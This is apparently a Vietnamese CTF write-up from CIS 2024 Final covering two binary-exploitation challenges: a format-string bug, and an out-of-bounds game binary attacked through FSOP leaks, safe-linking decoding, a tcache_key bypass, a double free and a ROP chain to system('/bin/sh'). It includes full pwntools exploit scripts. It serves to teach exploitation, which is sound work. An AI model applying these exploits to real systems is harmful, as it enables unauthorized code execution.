---
# System prepended metadata

title: CIS 2024 final-version

---

# CIS 2024 Final
## Chall1 : Format string
### Phân tích 
![image](https://hackmd.io/_uploads/SJNgYnkk1l.png)
- Bugs ở đây thì đã rõ là FMT 
- Ngoài ra challenge còn cho các ta 1 'gift' là 2 bytes cuối của stack

### Khai thác 
#### :skull_and_crossbones: exit() : 'No' return  address ?
- Chương trình sử dung hàm `exit()` để end chương trình nên không thế overwrite saved rip của main -> ta chuyển hướng qua overwrite `saved rip` của printf (do thực chất `printf` là 1 hàm `@plt` nên bên trong nó sẽ có những hàm )

:::warning
![image](https://hackmd.io/_uploads/Hk78nhy11e.png)
- Vấn đề gặp phải ở đây là `saved rip` lại nằm ở trên vị trí có thể overwrite được -> How to bypass it :question:
:::

#### :bulb: FMT : full form & short form  
- Ta có thể bypass điều này bằng cách overwrite 1 địa chỉ stack làm cho thành địa chỉ của `saved rip` sau đó overwrite saved rip như bình thường. Nhưng ở đây chúng ta sẽ phải overwrite 2 lần trong 1 lệnh printf, chính vì vậy phải thực sự hiểu rõ về nó :open_book:
:::info

|          | full form | short form |
| -------- | -------- | -------- |
| format   | %c%c%c%c%c%n| %6$n    |
|work|-  ở dạng này hàm fmt sẽ thưc hiện lần lượt từ trái sang phải. |- chọn vị trị 6 để thực hiện đầu tiên.
||- Buffer sẽ được làm mới sau mỗi đối số(ở đây là %c)|- Buffer sẽ được lưu lại từ $ đầu tiên và không được thay đổi sau mỗi lần vị trí tại $ thay đổi .
||- Thay đổi offset bằng số lần in trước đó| - Thay đổi offset bằng padding ở $
|Tốc độ| - Chậm hơn| - Nhanh hơn
:::

#### :unlock: Start overwrite : Loop main
- Có lẽ chuẩn bị đã xong, điểm đáng chú ý là sử dụng full form & short form theo trình tự như thế nào để phù hợp nhất.
```py
main = 0x151a9 # loop main
p.recvuntil(b'Gift: ')
leak = int(b'0x'+p.recvline(keepends=False), 16)-0xc
info("leak: " + hex(leak)) #saved rip address of printf : 0xdf48
payload = f"%c%c%c%c%c%c%{leak-6}c%hn%{main-leak}c%28$hn|%9$p|%13$p|"
GDB(p) 
sl(p,payload)
p.recvuntil(b'|')
libc.address = int(p.recvuntil(b'|', drop=True), 16) - 0x2a1ca
info("libc: " + hex(libc.address))
exe.address = int(p.recvuntil(b'|', drop=True), 16) - 0x11a9
info("exe: " + hex(exe.address))
```
#### :unlock: 
## Chall2 : Out of bound 
### Phân tích
#### :warning: Tổng quan
- Challenge này giống như 1 game bắn súng : Cho phép chúng tạo nhân vật, nhập tên,chọn nv, sửa tên, xóa nhân vật. Sau đó chọn nhân vật để chơi game.(ở hàm set `playerer` lần lượt là `new_player`,  `select_player`, `edit_player`, `delete_player`)
    - Về nội dung play ntn : sẽ tạo ra 1 dãy và random vị trí kẻ địch, việc của gamer là chọn tọa độ(<48) và loại đạn(là các chữ byte) : `new_game`
    - Đưa ra đánh giá (feedback) : `feedback`
    - Sau khi chơi thì có thể lưu game -> có thể xóa : `save_game` + `remove`
    - Ngoài ra còn cung cấp thêm hàm cheat nhưng thấy khá vô nghĩa. : `cheat`

#### :warning: Reverse + săn bug
- Chương trình này khá dài nên mình sẽ phân tích ở những phần mà chúng ta có thể khai thác, phần reverse sâu hơn có lẽ không làm khó các pwner đâu :joy:

:point_right: `set_player -> case 3: edit_player` 
![image](https://hackmd.io/_uploads/HkskKGaRR.png)

:::info
- case này sau khi tạo player sẽ cho phép sửa lại tên của nhân vật (thay đổi nội dung của con trỏ đang được lưu ở mảng con trỏ `name_list`)
- có 1 BUG khi nó check nếu hàm `scanf` return False thì sẽ bỏ qua `label` invalid , lúc này biến index có vẫn giữ nguyên giá trị rác -> lỗi `OOB` :sparkles:
- Tuy nhiên sau edit xong, thì bit_edit sẽ được set bằng 1 để báo là đã edit -> điều này nghĩa là ta chỉ có thể edit 1 lần :sob:
:::

:point_right: `save_game`
![image](https://hackmd.io/_uploads/H1LZtfTAA.png)
:::info
- Hàm này cho lưu game đã chơi thông qua idx mình nhập tuy nhiên lại có bug OOB khi biến idx có thể âm :sparkles:
- Nhưng chỉ lưu được khi `ptr` đang là NULL
:::

### Khai thác 
#### :warning: LEAK LIBC + STACK + HEAP
- Dựa vào bug OOB ơ case `edit_player` kết hợp cách bố trị dữ liệu của chương trình
![image](https://hackmd.io/_uploads/r1C7KMa0C.png)
:::warning
- Ta thấy nếu như OOB với idx < 0 thì có thể khai thác `_IO_2_1_stdout_` 
    - Đầu tiên case edit_player sẽ in ra `_IO_2_1_stdout_` -> có LIBC :dart:
    - Sử dụng lần read vào stdout để `FSOP` + biến `environ` -> leak được STACK :dart:
- Ở đây hoàn toàn có thể dùng `main_arena` + `environ` để leak luôn heap và stack trong 1 lần tuy nhiên còn 1 kiến thức mới mình muốn đề cập nên mình dùng `tcache` để leak heap
:::
```py
################# leak libc #################
sla(p,b'>> ',b'3')
sla(p,b'>> ',str(-6).encode())
# GDB(p)
sla(p,b'>> ',b'3')
sla(p,b'>> ',b'+')
r(p,8)
leak = intFromByte(p,6)
print("libc_leak:",hex(leak))
libc.address =leak - 0x22f803
print("libc_base:",hex(libc.address))
libc_base = libc.address

################# leak stack #################
environ = libc.address + 0x236238
_flags = 0xfbad1800
main_arena = environ - 0x7ffff7fb3c80 ****
payload = p64(_flags) + b'a'*8*3 + p64(environ) +p64(environ+0x10)
# GDB(p)
sa(p,b'Enter new name: ',payload)
leak_stack = intFromByte(p,6)
print("stack_leak:",hex(leak_stack))
```

##### :point_right: Leak heap : 
![image](https://hackmd.io/_uploads/rJgLKM6AA.png)
-  Ta biết rằng `fw pointer` của `tcache` sẽ trỏ đến userdata của chunk free trước nhưng ở trong hình thì điều này có vẻ sai sai -> **Vậy điều gì đã xảy ra với tcache** :question:
-  [Safe linking](https://ir0nstone.gitbook.io/notes/binexp/heap/safe-linking) : Đây chính là câu trả lời cho câu hỏi đó, nói tóm gọn chính là 1 mã hóa fw pointer của glibc ; thật may chúng ta đã có cách giải mã nó .
```py
def deobfuscate(val):  
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val
```
:unlock: Công việc còn lại đơn giản là leak fw pointer(bị mã hóa) như bình thường rồi ném vào hàm này để decode thôi
```py
    for i in range(3):
        delete_player(p,i)
    new_player(p,b'a')
    sla(p,b'>> ',b'2') #select player
    ru(p,b'0. ')
    val = intFromByte(p,6)
    leak_heap = ((deobfuscate(val) & 0xffffffffff00)) + 0xa0  
    print("leak_heap:",hex(leak_heap))
    sla(p,b'>> ',str(0))
```
#### :warning: Double free/Use After free
- Dựa vào bug OOB ở hàm `save_game`, có nghĩa là ta có thể đưa bất kì giá trị nào có `index < 0` ở bss vào biến `ptr` 

![image](https://hackmd.io/_uploads/rywVE-T0C.png)

![image](https://hackmd.io/_uploads/B1eG4ZTA0.png)


:::warning
- Hàm `feed_back` cho phép chúng ta đưa 1 số nguyên 8bytes vào  bss (do rate đang ở bss )
- Quan sát thấy rate đang ở `index<0` (so với game_list) -> Đưa 1 địa chỉ `heap` (ví dụ: `name_list`) đang được sử dụng vào `rate` -> OOB `rate` vào `ptr` -> Ta có lỗi Double Free/Use After Free :dart:
:::

![image](https://hackmd.io/_uploads/H1EOnZTRR.png)

![image](https://hackmd.io/_uploads/HJ35nWpRC.png)

- Sau khi có `UAF`, mình nghĩ mọi thứ đã xong nhưng đời không như mơ 
![image](https://hackmd.io/_uploads/SJ_K6WpCA.png)
:question: Điều gì đã xảy ra với tcache của chúng ta:question:

:::danger
- Ở các phien bản glibc mới, các nhà phát hành đã bổ sung các cách bảo vệ ở bên trong `tcache_entry` : `tcache_key` :lock:
    [source](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4459)
    ![image](https://hackmd.io/_uploads/HJATCWTAC.png)
    [tcache_entry](https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3126)
    ![image](https://hackmd.io/_uploads/HyRg1zaRA.png)
    ![image](https://hackmd.io/_uploads/Bkq21MpAR.png)
    :point_right: Nó sẽ check xem chunk(userdata + 0x8) mình muốn free có key có giống với tcache_key không? Nếu có thì là đã free và báo lỗi :clown_face:
:::

##### :key: How to bypass this ???
- Để double free thành công thì chỉ có thể fake `tcache_key` nhưng phải làm sao đây
- Đối với challenge này để thay đổi nội dung 1 chunk đã được tạo thì có case `edit_player` nhưng nó lại có `edit_bit` chỉ cho phép edit 1 lần, liệu có cách nào sửa được `edit_bit` kia không ? Câu trả lời là có.
- Quay trở lại với hàm `save_game` với lỗi `OOB` : 
![image](https://hackmd.io/_uploads/rJkTXGTRA.png)
    :point_right: Nó set null vị trí `game_list` sau khi đưa vào `ptr` ->  Đưa `edit_bit` vào `ptr` 
    
#### :warning: ROP : Give me your flag :trophy:
- Sau khi có thể edit lần 2 thì ta có thể fake `tcache_key` và tiến hành double free tcache như bình thường 
- Đoạn này fake fw pointer cua tcache vào stack để overwrite return address của hàm set_player thành system("/bin/sh\x00") thôi

### Full script 
```py
#!/usr/bin/python3
from pwn import * 
context.binary = exe = ELF("./chall_patched")
libc = ELF("libc.so.6",checksec=False)
def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None

    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)

    if exe_base is None:
        raise Exception("Executable base address not found.")

    return exe_base
def GDB(pid):
    base = get_exe_base(pid)
    gdb.attach(p, gdbscript=f'''
        b*{base} + 0x0000000000001E8D       
        c
    ''')
    input()
# p = remote("103.173.227.108",9011)
# p = remote("0.0.0.0",9011)
# input("GDB")
p = process(exe.path)
pid  = p.pid
# GDB()
def newplayer(name):
    p.sendline(b"1")
    p.sendline(b"1")
    p.sendafter(b"Enter name: ",name)
    p.sendlineafter(b">>",b"5")
def delete_player(index):
    p.sendline(b"1")
    p.sendline(b"4")
    p.sendline(f"{index}".encode())
    p.sendlineafter(b">>",b"5")

def savegame(index):
    p.sendline(b"3")
    p.sendline(f"{index}".encode())

def feedback(score):
    p.sendline(b"6")
    p.sendline(f"{score}".encode())

def newgame():
    p.sendline(b"2")

flag = 0xfbad1800 

payload = flat(0x0,0x301)
for i in range(9):
    newplayer(payload)
    p.recvuntil(b">>")
p.sendline(b"2")
p.sendline(b"22222")
p.sendline(b"y")

newplayer(b"1")
for i in range(8):
    delete_player(i)
    p.recvuntil(b">>")
for i in range(15):
    p.recvuntil(b">>")

p.sendline(b"1")
p.sendline(b"3")
p.recvuntil(b"Edit player\n")
p.recvuntil(b">> ")
p.sendline(b"-6")
p.sendline(b"3")
p.recvuntil(b"Edit player\n")
p.sendline(b"+")
p.recvuntil(b"Edit player\n")
p.recvuntil(b">> ")
p.recvuntil(b">> ")
p.recvuntil(b">> ")
leak = int.from_bytes(p.recv(8),"little")
libc.address  = int.from_bytes(p.recv(8),"little") - 0x22f803
p.recv(0x40- 0x10)
print(hex(libc.address))
payload = flat(
    flag,flag,flag,flag,
    p64(libc.address + 0x22eca8),
    p64(libc.address + 0x22eca8 + 0x75b8 + 0x10),
    p64(libc.address + 0x22eca8 + 0x75b8 + 0x10),
)
p.send(payload)
p.recvuntil(b"Enter new name: ")
heap = int.from_bytes(p.recv(8),"little") - 0x4c0
print(hex(heap))
a = p.recv(1)
stack = 0
for i in range(0x75b0//8):
    stack = int.from_bytes(p.recv(8),"little") 
    if(((stack >> 40 & 0xff) == 0x7f ) and i == 3761) :
        break
    print(i,hex(stack))
print(hex(stack))
p.sendline(b"5")
# GDB(pid)
feedback(heap + 0x480)
newplayer(b"1")
GDB(pid)
savegame(235)
p.sendline(b"5")
# GDB(pid)
savegame(234)
p.sendline(b"1")
p.sendline(b"3")
p.recvuntil(b"Edit player\n")
p.recvuntil(b">> ")
p.sendline(b"0")
pl = flat(((heap + 0x480) >> 12) ^ (stack-0x148) )
p.sendafter(b"Enter new name:",pl)

RDI = libc.address + 0x00000000000243d2
RSI = libc.address + 0x0000000000025d31
RDX_R12 = libc.address + 0x0000000000080e39
ROP = flat(
    libc.address + 0x22ea00,
    RDI,next(libc.search(b"/bin/sh\x00")),
    RSI,0,RDI+1,
    libc.sym["system"]
)

# GDB()

p.sendline(b"1")
p.sendline(b"A")

p.recvuntil(b">>")
p.recvuntil(b">>")
p.sendline(b"1")
p.send(ROP)
p.interactive()
    
```
